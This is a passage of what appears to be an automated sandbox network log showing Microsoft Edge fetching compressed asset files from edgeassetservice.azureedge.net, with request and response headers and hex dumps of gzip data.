2024-11-19 17:00:44 UTC	16384	IN	Data Raw: 02 f3 ca e4 05 cb a0 be 15 69 62 32 37 3c 37 3b db 81 8a b2 df cf ef b1 79 3f f8 ae 37 3d a3 01 e8 95 76 a1 63 78 77 2e 93 42 3d 4f 37 3e c4 08 a5 37 4f 84 43 dc 19 00 a9 8f 2e 0d 37 3f 82 55 cb cd 06 b9 0c 0d 94 f9 4f d6 82 e8 37 44 09 28 b8 33 ef b7 ee 6b 4c 90 ee e0 d1 3a 37 44 83 9a 56 2d 6a 58 ea 6b e5 8f 6a 1d 17 23 37 47 0f 55 f8 2b 1c 30 89 3a 1d e2 21 89 b7 42 37 4b 86 38 d0 cd 9f 96 62 d8 da bf d5 15 ed cb 37 4e 81 34 2b 0e ea ab 6f ae 29 15 59 32 ae 46 37 50 d2 0c 2a e2 ca 59 ec 21 86 70 f9 7a 6c d1 37 55 32 b2 91 f0 e7 b8 47 d0 f7 0f 64 90 d9 51 37 56 ce 44 24 61 58 d7 f8 d4 0d 8b fe 3d b0 27 37 58 1f 24 d2 a5 24 9c d7 5c 5a 71 f9 e9 f2 a3 37 58 9d d0 f0 06 3a 05 be 08 d9 90 bc 18 0d 71 37 5d 04 71 81 05 8e b6 9b 24 f2 54 35 1b 18 46 37 62 eb Data Ascii: ib27<7;y?7=vcxw.B=O7>7OC.7?UO7D(3kL:7DV-jXkj#7GU+0:!B7K8b7N4+o)Y2F7P*Y!pzl7U2GdQ7VD$aX='7X$$\Zq7X:q7]q$T5F7b
2024-11-19 17:00:44 UTC	16384	IN	Data Raw: 30 9b b9 2f 98 88 40 3b cc 98 d2 59 40 6d c4 d7 67 2a f1 8a f6 d5 d3 92 a9 c6 13 1d 40 71 5f 29 26 14 e2 86 f2 b1 3c d6 fc 07 07 4a 40 77 d4 86 06 be 80 6f b2 fd e4 19 fe 6b 6a 94 40 78 4d f5 b9 67 58 78 83 29 63 04 29 22 98 8d 40 7a 85 3f 10 18 78 19 d3 be 45 8d 0e 49 7b bb 40 7b 5d c5 55 97 e5 9d 35 9d 27 93 51 1d be 21 40 7d 42 88 f1 ca 9d ba 2a 28 3a f8 72 71 ba c7 40 7e 4d cf f4 13 b8 8f f1 9c e6 e4 a8 50 74 d0 40 80 bb 51 db 04 52 b7 b2 f3 5f dc db 6d 4b de 40 88 e2 91 a0 6c 67 8c d2 0b 9f d2 91 ca 6d 22 40 8a b9 d3 6a f9 07 64 05 ea 52 dc 44 82 0b 38 40 8b 54 ce 67 df 8c a3 48 2d 96 f6 ed e4 cf 78 40 8e 78 fd f9 d7 db ac 12 a0 80 27 db 9f 14 42 40 90 00 78 66 ff 66 2b 58 9f 18 13 aa 3d 6e b3 40 90 fa a1 0b 8e ee 2b 73 4b 59 c6 c9 b1 84 9b 40 93 53 Data Ascii: 0/@;Y@mg@q_)&<J@wokj@xMgXx)c)"@z?xEI{@{]U5'Q!@}B(:rq@~MPt@QR_mK@lgm"@jdRD8@TgH-x@x'B@xff+X=n@+sKY@S
2024-11-19 17:00:44 UTC	16384	IN	Data Raw: 66 82 7d 26 60 5e 84 ec 72 2a af 39 49 bb 12 c2 0a 6a 68 a1 f1 aa 3c 93 f9 79 13 0e 49 bb 81 dd 8c 7e 5d 19 6b 54 60 33 c1 1e 70 56 49 bc df 84 ed 14 a3 5d 07 06 25 84 6a 95 02 e0 49 bd eb 48 24 83 1e f1 e0 29 fe 9e e6 22 da 07 49 c1 2d 65 e8 79 f6 32 c8 9b 5b 3f 1a a8 9d b9 49 c4 33 af 97 7a e9 a1 ba ed 12 d0 a3 40 1e 42 49 c5 09 f1 9f 2c bb 61 75 14 cf 80 9c 0e 85 9e 49 c8 81 16 cb ae 60 54 25 eb 75 fe e4 b5 16 8c 49 cc 62 7c 10 80 46 f7 71 86 18 7b bd ea 45 5f 49 cd ad e9 e7 ee e9 a2 7e 24 2e 10 93 70 b0 ad 49 d1 bc ac 01 05 b1 9b be b4 f8 4e e6 0c 0d ac 49 d2 4b be 25 0a bd 70 d0 f7 10 c2 d7 38 8b f2 49 d4 c5 71 4c 7f 7a 2a 83 c3 c3 50 d2 c2 4c 3e 49 d5 40 eb ee b7 40 f4 16 fe b4 e7 35 d0 25 e3 49 d6 e7 89 68 04 ba a1 f5 37 3f 51 0a 5e cc 25 49 da b4 Data Ascii: f}&`^r9Ijh<yI~]kT`3pVI]%jIH$)"I-ey2[?I3z@BI,auI`T%uIb\|Fq{E_I~$.pINIK%p8IqLzPL>I@@5%Ih7?Q^%I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.8	49783	13.107.246.40	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:43 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 17:00:44 UTC	557	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 17:00:44 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 82fa33c4-201e-003f-7aa4-3adfdb000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241119T170043Z-1777c6cb754whff4hC1TEBcd6c00000006z000000000k3ez Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-19 17:00:44 UTC	15827	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-19 17:00:44 UTC	16384	IN	Data Raw: ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c 87 07 e7 d4 da 16 34 27 65 eb d7 87 be 44 96 29 71 b2 3a d6 Data Ascii: [T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp4'eD)q:
2024-11-19 17:00:44 UTC	16384	IN	Data Raw: 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d d9 e8 78 24 ab 24 51 69 66 82 d7 44 e8 1d cf c8 e2 16 60 37 Data Ascii: kD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-x$$QifD`7
2024-11-19 17:00:44 UTC	16384	IN	Data Raw: 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 6e 30 91 49 05 4e 42 60 22 53 9e 67 6f 08 ac 30 cf 05 cd b5 Data Ascii: sg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM*]z_]y]DZgtc>qDX\\M,SqPn0INB`"Sgo0
2024-11-19 17:00:44 UTC	16384	IN	Data Raw: 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e 6f 2b 5e 74 f2 ea 6e 17 ed 6d 37 04 2d f5 5a 8e f8 43 2b c3 Data Ascii: MR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.Vo+^tnm7-ZC+
2024-11-19 17:00:44 UTC	16384	IN	Data Raw: c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 4e 60 6b e1 20 c2 ba 99 b8 6d 1e 51 d5 3c d5 da e1 b5 2c a1 Data Ascii: yfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\N`k mQ<,
2024-11-19 17:00:44 UTC	16384	IN	Data Raw: 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 45 bf 50 93 bc bc 7d c3 e9 75 22 5d 68 d9 1e 50 8f 5c 23 a1 Data Ascii: b.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>JcEP}u"]hP\#
2024-11-19 17:00:44 UTC	16384	IN	Data Raw: 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 c6 95 ea 57 bd 73 50 18 1d 54 fb 07 d5 da 41 bd 99 aa 6f 53 Data Ascii: u\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{OWsPTAoS
2024-11-19 17:00:44 UTC	16384	IN	Data Raw: f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 65 5d 3f 2f 1b ab ff 79 9a 2b b3 79 5d 62 4f 7c d5 ff 34 22 Data Ascii: Jj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@e]?/y+y]bO\|4"
2024-11-19 17:00:44 UTC	16384	IN	Data Raw: 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 cb e9 d4 75 42 52 43 29 e8 e5 94 bf 82 e4 a6 c8 40 37 67 5f Data Ascii: IdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>uBRC)@7g_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.8	49784	13.107.246.40	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:44 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 17:00:44 UTC	583	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 17:00:44 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 07 Nov 2024 20:03:34 GMT ETag: 0x8DCFF6742E8F24C x-ms-request-id: b8008df1-101e-001e-608f-3ab2ea000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241119T170044Z-185f5d8b95cp7lkfhC1NYC7rpw000000093g00000000m61g Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 17:00:44 UTC	15801	IN	Data Raw: 1f 8b 08 08 16 1d 2d 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: -gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-19 17:00:44 UTC	16384	IN	Data Raw: 4a b0 09 cb 82 45 ac c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 Data Ascii: JEqb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1
2024-11-19 17:00:44 UTC	16384	IN	Data Raw: 2f 4d 35 19 b9 3f d5 c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 Data Ascii: /M5?Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|c
2024-11-19 17:00:44 UTC	16384	IN	Data Raw: 99 dc 5a 2e 69 cf 52 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 Data Ascii: Z.iRAHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`
